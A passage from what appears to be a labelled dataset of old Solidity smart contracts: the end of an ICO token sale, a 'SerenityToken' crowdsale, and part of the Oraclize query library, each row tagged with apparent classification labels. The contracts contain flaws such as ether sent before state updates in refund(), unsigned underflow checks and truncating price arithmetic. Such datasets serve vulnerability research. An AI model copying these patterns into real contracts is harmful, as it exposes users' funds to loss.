uint256 public constant tokenSaleMin = 17 * (10**6) * 10**decimals;
function TokenICOGAT(){
startline = now;
deadline = startline + 45 * 1 days;
refundDeadLine = deadline + 30 days;
ethFoundDeposit = owner;
gatFoundDeposit = owner;
balances[gatFoundDeposit] = gatFund;
LogTransaction(gatFoundDeposit,gatFund);
}
function bonusCalculate(uint256 amount) internal returns(uint256){
uint256 amounttmp = 0;
if (transactionCounter > 0 && transactionCounter <= 1000){
return amount / 2 ;
}
if (transactionCounter > 1000 && transactionCounter <= 2000){
return amount / 5 ;
}
if (transactionCounter > 2000 && transactionCounter <= 3000){
return amount / 10;
}
if (transactionCounter > 3000 && transactionCounter <= 5000){
return amount / 20;
}
return amounttmp;
}
function enablePurchasing() {
if (msg.sender != owner) { revert(); }
if(purchasingAllowed) {revert();}
purchasingAllowed = true;
}
function disablePurchasing() {
if (msg.sender != owner) { revert(); }
if(!purchasingAllowed) {revert();}
purchasingAllowed = false;
}
function getStats() constant returns (uint256, uint256, uint256, bool) {
return (totalContribution, totalSupply, totalBonusTokensIssued, purchasingAllowed);
}
function() payable {
if (!purchasingAllowed) { revert(); }
if ((tokenCreationCap - (totalSupply + gatFund)) <= 0) { revert();}
if (msg.value == 0) { return; }
transactionCounter +=1;
totalContribution += msg.value;
uint256 bonusGiven = bonusCalculate(msg.value);
uint256 tokensIssued = (msg.value * tokenExchangeRate) + (bonusGiven * tokenExchangeRate);
totalBonusTokensIssued += bonusGiven;
totalSupply += tokensIssued;
balances[msg.sender] += tokensIssued;
weirecives[msg.sender] += msg.value;
Transfer(address(this), msg.sender, tokensIssued);
}
function sendSurplusTokens() {
if (purchasingAllowed) { revert(); }
if (msg.sender != owner) { revert();}
uint256 excess = tokenCreationCap - (totalSupply + gatFund);
if(excess <= 0){revert();}
balances[gatFoundDeposit] += excess;
Transfer(address(this), gatFoundDeposit, excess);
}
function withdrawEtherHomeExternal() external{
if(purchasingAllowed){revert();}
if (msg.sender != owner) { revert();}
ethFoundDeposit.transfer(this.balance);
}
function withdrawEtherHomeLocal(address _ethHome) external{
if(purchasingAllowed){revert();}
if (msg.sender != owner) { revert();}
_ethHome.transfer(this.balance);
}
function refund() public {
if(purchasingAllowed){revert();}
if(now >= refundDeadLine ){revert();}
if((totalSupply - totalBonusTokensIssued) >= tokenSaleMin){revert();}
if(msg.sender == ethFoundDeposit){revert();}
uint256 gatVal= balances[msg.sender];
if(gatVal <=0) {revert();}
uint256 ethVal = weirecives[msg.sender];
LogTransaction(msg.sender,ethVal);
msg.sender.transfer(ethVal);
totalContribution -= ethVal;
weirecives[msg.sender] -= ethVal;
}
} | 1 | 4,363 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract IOwned {
function owner() public constant returns (address) { owner; }
function transferOwnership(address _newOwner) public;
}
contract Owned is IOwned {
address public owner;
function Owned() public {
owner = msg.sender;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public validAddress(_newOwner) onlyOwner {
require(_newOwner != owner);
owner = _newOwner;
}
}
contract IERC20Token {
function name() public constant returns (string) { name; }
function symbol() public constant returns (string) { symbol; }
function decimals() public constant returns (uint8) { decimals; }
function totalSupply() public constant returns (uint256) { totalSupply; }
function balanceOf(address _owner) public constant returns (uint256 balance) { _owner; balance; }
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { _owner; _spender; remaining; }
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
}
contract ERC20Token is IERC20Token {
using SafeMath for uint256;
string public standard = 'Token 0.1';
string public name = '';
string public symbol = '';
uint8 public decimals = 0;
uint256 public totalSupply = 0;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function ERC20Token(string _name, string _symbol, uint8 _decimals) public {
require(bytes(_name).length > 0 && bytes(_symbol).length > 0);
name = _name;
symbol = _symbol;
decimals = _decimals;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public validAddress(_to) returns (bool) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool) {
require(_value == 0 || allowance[msg.sender][_spender] == 0);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
contract ISerenityToken {
function initialSupply () public constant returns (uint256) { initialSupply; }
function totalSoldTokens () public constant returns (uint256) { totalSoldTokens; }
function totalProjectToken() public constant returns (uint256) { totalProjectToken; }
function fundingEnabled() public constant returns (bool) { fundingEnabled; }
function transfersEnabled() public constant returns (bool) { transfersEnabled; }
}
contract SerenityToken is ISerenityToken, ERC20Token, Owned {
using SafeMath for uint256;
address public fundingWallet;
bool public fundingEnabled = true;
uint256 public maxSaleToken = 3500000;
uint256 public initialSupply = 350000 ether;
uint256 public totalSoldTokens;
uint256 public totalProjectToken;
uint256 private totalLockToken;
bool public transfersEnabled = false;
mapping (address => bool) private fundingWallets;
mapping (address => allocationLock) public allocations;
struct allocationLock {
uint256 value;
uint256 end;
bool locked;
}
event Finalize(address indexed _from, uint256 _value);
event Lock(address indexed _from, address indexed _to, uint256 _value, uint256 _end);
event Unlock(address indexed _from, address indexed _to, uint256 _value);
event DisableTransfers(address indexed _from);
function SerenityToken() ERC20Token("SERENITY INVEST", "SERENITY", 18) public {
fundingWallet = msg.sender;
balanceOf[fundingWallet] = maxSaleToken;
fundingWallets[fundingWallet] = true;
fundingWallets[0x47c8F28e6056374aBA3DF0854306c2556B104601] = true;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
modifier transfersAllowed(address _address) {
if (fundingEnabled) {
require(fundingWallets[_address]);
}
require(transfersEnabled);
_;
}
function transfer(address _to, uint256 _value) public validAddress(_to) transfersAllowed(msg.sender) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public validAddress(_to) transfersAllowed(_from) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function lock(address _to, uint256 _value, uint256 _end) internal validAddress(_to) onlyOwner returns (bool) {
require(_value > 0);
assert(totalProjectToken > 0);
totalLockToken = totalLockToken.add(_value);
assert(totalProjectToken >= totalLockToken);
require(allocations[_to].value == 0);
allocations[_to] = allocationLock({
value: _value,
end: _end,
locked: true
});
Lock(this, _to, _value, _end);
return true;
}
function unlock() external {
require(allocations[msg.sender].locked);
require(now >= allocations[msg.sender].end);
balanceOf[msg.sender] = balanceOf[msg.sender].add(allocations[msg.sender].value);
allocations[msg.sender].locked = false;
Transfer(this, msg.sender, allocations[msg.sender].value);
Unlock(this, msg.sender, allocations[msg.sender].value);
}
function finalize() external onlyOwner {
require(fundingEnabled);
totalSoldTokens = maxSaleToken.sub(balanceOf[fundingWallet]);
totalProjectToken = totalSoldTokens.mul(15).div(100);
lock(0x47c8F28e6056374aBA3DF0854306c2556B104601, totalProjectToken, now);
balanceOf[fundingWallet] = 0;
fundingEnabled = false;
transfersEnabled = true;
Transfer(this, fundingWallet, 0);
Finalize(msg.sender, totalSupply);
}
function disableTransfers() external onlyOwner {
require(transfersEnabled);
transfersEnabled = false;
DisableTransfers(msg.sender);
}
function disableFundingWallets(address _address) external onlyOwner {
require(fundingEnabled);
require(fundingWallet != _address);
require(fundingWallets[_address]);
fundingWallets[_address] = false;
}
}
contract Crowdsale {
using SafeMath for uint256;
SerenityToken public token;
mapping(uint256 => uint8) icoWeeksDiscounts;
uint256 public preStartTime = 1510704000;
uint256 public preEndTime = 1512086400;
bool public isICOStarted = false;
uint256 public icoStartTime;
uint256 public icoEndTime;
address public wallet = 0x47c8F28e6056374aBA3DF0854306c2556B104601;
uint256 public tokensPerEth = 10;
uint256 public weiRaised;
uint256 public ethRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function Crowdsale() public {
token = createTokenContract();
initDiscounts();
}
function initDiscounts() internal {
icoWeeksDiscounts[0] = 40;
icoWeeksDiscounts[1] = 35;
icoWeeksDiscounts[2] = 30;
icoWeeksDiscounts[3] = 25;
icoWeeksDiscounts[4] = 20;
icoWeeksDiscounts[5] = 10;
}
function createTokenContract() internal returns (SerenityToken) {
return new SerenityToken();
}
function () public payable {
buyTokens(msg.sender);
}
function getTimeDiscount() internal returns(uint8) {
require(isICOStarted == true);
require(icoStartTime < now);
require(icoEndTime > now);
uint256 weeksPassed = (now - icoStartTime) / 7 days;
return icoWeeksDiscounts[weeksPassed];
}
function getTotalSoldDiscount() internal returns(uint8) {
require(isICOStarted == true);
require(icoStartTime < now);
require(icoEndTime > now);
uint256 totalSold = token.totalSoldTokens();
if (totalSold < 150000)
return 50;
else if (totalSold < 250000)
return 40;
else if (totalSold < 500000)
return 35;
else if (totalSold < 700000)
return 30;
else if (totalSold < 1100000)
return 25;
else if (totalSold < 2100000)
return 20;
else if (totalSold < 3500000)
return 10;
}
function getDiscount() internal constant returns (uint8) {
if (!isICOStarted)
return 50;
else {
uint8 timeDiscount = getTimeDiscount();
uint8 totalSoldDiscount = getTotalSoldDiscount();
if (timeDiscount < totalSoldDiscount)
return timeDiscount;
else
return totalSoldDiscount;
}
}
function buyTokens(address beneficiary) public validAddress(beneficiary) payable {
require(validPurchase());
require(msg.value > 1 ether);
uint256 ethAmount = msg.value / 1 ether;
uint8 discountPercents = getDiscount();
uint256 costWithDiscount = tokensPerEth.div(100 - discountPercents).mul(100);
uint256 tokens = ethAmount.mul(costWithDiscount);
weiRaised = weiRaised.add(ethAmount * 1 ether);
token.transfer(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, ethAmount * 1 ether , tokens);
forwardFunds();
}
function activeteICO(uint256 _icoEndTime) public {
require(msg.sender == wallet);
require(_icoEndTime >= now);
require(_icoEndTime >= preEndTime);
require(isICOStarted == false);
isICOStarted = true;
icoEndTime = _icoEndTime;
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal constant returns (bool) {
bool withinPresalePeriod = now >= preStartTime && now <= preEndTime;
bool withinICOPeriod = isICOStarted && now >= icoStartTime && now <= icoEndTime;
bool nonZeroPurchase = msg.value != 0;
return (withinPresalePeriod || withinICOPeriod) && nonZeroPurchase;
}
} | 1 | 3,962 |
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
